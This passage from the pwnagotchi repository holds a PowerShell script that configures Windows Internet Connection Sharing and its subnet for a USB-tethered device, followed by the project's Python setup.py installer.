between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. .DESCRIPTION Enables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. .EXAMPLE PS> Enable-InternetConnectionSharing #> [Cmdletbinding()] $HNetObject = Create-HNetObjects $HNetObject.InternetIntConfig.EnableSharing(0) $HNetObject.RNDISIntConfig.EnableSharing(1) Write-Output "[x] Enabled Internet Connection Sharing." } Function Disable-InternetConnectionSharing { <# .SYNOPSIS Disables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. .DESCRIPTION Disables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. .EXAMPLE PS> Disable-InternetConnectionSharing #> [Cmdletbinding()] $HNetObject = $(Create-HNetObjects) $HNetObject.InternetIntConfig.DisableSharing() $HNetObject.RNDISIntConfig.DisableSharing() Write-Output "[x] Disabled Internet Connection Sharing." } Function Test-PwnagotchiSubnet { <# .SYNOPSIS Tests the registry for the correct ScopeAddress. .DESCRIPTION Tests the registry for the correct ScopeAddress. By default windows uses a 192.168.137.x subnet for Internet Connection Sharing. This value can be changed in the registry. .EXAMPLE PS> Test-PwnagotchiSubnet [!] By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet. #> [Cmdletbinding()] $RegKeys = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters -ErrorAction Stop If ($RegKeys.ScopeAddress -notmatch '10.0.0.') { Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet." -ErrorAction Stop } If ($RegKeys.ScopeAddressBackup -notmatch '10.0.0.') { Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet." -ErrorAction Stop } } Function Set-PwnagotchiSubnet { <# .SYNOPSIS Set the registry for the correct ScopeAddress. .DESCRIPTION Set the registry for the correct ScopeAddress. By default windows uses a 192.168.137.x subnet for Internet Connection Sharing. This value can be changed in the registry. By default it will be changed to 10.0.0.1 .PARAMETER ScopeAddress The IP address the USB Gadget interface should use. .EXAMPLE Set-PwnagotchiSubnet #> [Cmdletbinding()] Param ( $ScopeAddress = '10.0.0.1' ) Try { [void]([ipaddress]$ScopeAddress) [void]([byte[]] $ScopeAddress.split('.')) } Catch { Write-Error "$ScopeAddress is not a valid IP." } Try { Set-ItemProperty -Name ScopeAddress -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\" -Value $ScopeAddress -ErrorAction Stop Set-ItemProperty -Name ScopeAddressBackup -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\" -Value $ScopeAddress -ErrorAction Stop Write-Warning "The Internet Connection Sharing subnet has been updated. A reboot of windows is required !" } Catch { $PSCmdlet.ThrowTerminatingError($PSItem) } } # Main Function Function Setup-PwnagotchiNetwork { <# .SYNOPSIS Function to setup networking. .DESCRIPTION Function to setup networking. Main function calls helpers functions. .PARAMETER EnableInternetConnectionSharing Enable Internet Connection Sharing .PARAMETER DisableInternetConnectionSharing Disable Internet Connection Sharing .PARAMETER SetPwnagotchiSubnet Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. .PARAMETER ScopeAddress Custom ScopeAddress (the ICS ip address) .EXAMPLE PS> Setup-PwnagotchiNetwork -EnableInternetConnectionSharing #> Param ( [switch]$EnableInternetConnectionSharing, [switch]$DisableInternetConnectionSharing, [switch]$SetPwnagotchiSubnet, $ScopeAddress = '10.0.0.1' ) Begin { Try { Write-Debug "Begin" $ErrorSplat=@{ErrorAction="stop"} Write-Debug "Testing subnet" Try { Test-PwnagotchiSubnet @ErrorSplat } Catch { If ($SetPwnagotchiSubnet) { Write-Debug "Setting subnet" Set-PwnagotchiSubnet -ScopeAddress $ScopeAddress @ErrorSplat } Else { Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run this script with the -SetPwnagotchiSubnet to setup the network." -ErrorAction Stop } } } Catch { $PSCmdlet.ThrowTerminatingError($PSItem) } } Process { Write-Debug "Process" Try { If ($EnableInternetConnectionSharing) { Write-Debug "Enable network Sharing" Enable-InternetConnectionSharing @ErrorSplat } ElseIf ($DisableInternetConnectionSharing) { Write-Debug "Disable network Sharing" Disable-InternetConnectionSharing @ErrorSplat } } Catch { $PSCmdlet.ThrowTerminatingError($PSItem) } } End { Write-Debug "End" Try { # Nothing to return. } Catch { $PSCmdlet.ThrowTerminatingError($PSItem) } } } Function Select-NetAdaptor { <# .SYNOPSIS A menu function to select the correct network adaptors. .DESCRIPTION A menu function to select the correct network adaptors. .PARAMETER Message Message that will be displayed during the question. #> Param ( $Message ) $Adaptors = Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected'} | Sort-Object LinkSpeed -Descending do { Write-Host $Message $index = 1 foreach ($Adaptor in $Adaptors) { Write-Host "[$index] $($Adaptor.Name), $($Adaptor.InterfaceDescription)" $index++ } $Selection = Read-Host "Number" } until ($Adaptors[$selection-1]) Return $Adaptors[$selection-1] } # Dynamically create params for Setup-PwnagotchiNetwork function based of param input of script. Setup-PwnagotchiNetwork @psBoundParameters ================================================ FILE: setup.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- from setuptools import setup, find_packages from distutils.util import strtobool import os import glob import shutil import re def install_file(source_filename, dest_filename): # do not overwrite network configuration if it exists already # https://github.com/evilsocket/pwnagotchi/issues/483 if dest_filename.startswith('/etc/network/interfaces.d/') and os.path.exists(dest_filename): print("%s exists, skipping ..." % dest_filename) return print("installing %s to %s ..." % (source_filename, dest_filename)) try: dest_folder = os.path.dirname(dest_filename) if not os.path.isdir(dest_folder): os.makedirs(dest_folder) shutil.copyfile(source_filename, dest_filename) except Exception as e: print("error installing %s: %s" % (source_filename, e)) def install_system_files(): setup_path = os.path.dirname(__file__) data_path = os.path.join(setup_path, "builder/data") for source_filename in glob.glob("%s/**" % data_path, recursive=True): if os.path.isfile(source_filename): dest_filename = source_filename.replace(data_path, '') install_file(source_filename, dest_filename) # reload systemd units os.system("systemctl daemon-reload") def installer(): install_system_files() # for people updating https://github.com/evilsocket/pwnagotchi/pull/551/files os.system("systemctl enable fstrim.timer") def version(version_file): with open(version_file, 'rt') as vf: version_file_content = vf.read() version_match = re.search(r"__version__\s*=\s*[\"\']([^\"\']+)", version_file_content) if version_match: return version_match.groups()[0] return None if strtobool(os.environ.get("PWNAGOTCHI_ENABLE_INSTALLER", "1")): installer() with open('requirements.txt') as fp: required = [line.strip() for line in fp if line.strip() != ""] VERSION_FILE = 'pwnagotchi/_version.py' pwnagotchi_version = version(VERSION_FILE) setup(name='pwnagotchi', version=pwnagotchi_version, description='(⌐■_■) - Deep Reinforcement Learning instrumenting bettercap for WiFI pwning.', author='evilsocket && the dev team', author_email='evilsocket@gmail.com', url='https://pwnagotchi.ai/', license='GPL', install_requires=required, scripts=['bin/pwnagotchi'], package_data={'pwnagotchi': ['defaults.yml', 'pwnagotchi/defaults.yml', 'locale/*/LC_MESSAGES/*.mo']}, include_package_data=True, packages=find_packages(), classifiers=[ 'Programming Language :: Python :: 3', 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Environment :: Console', ])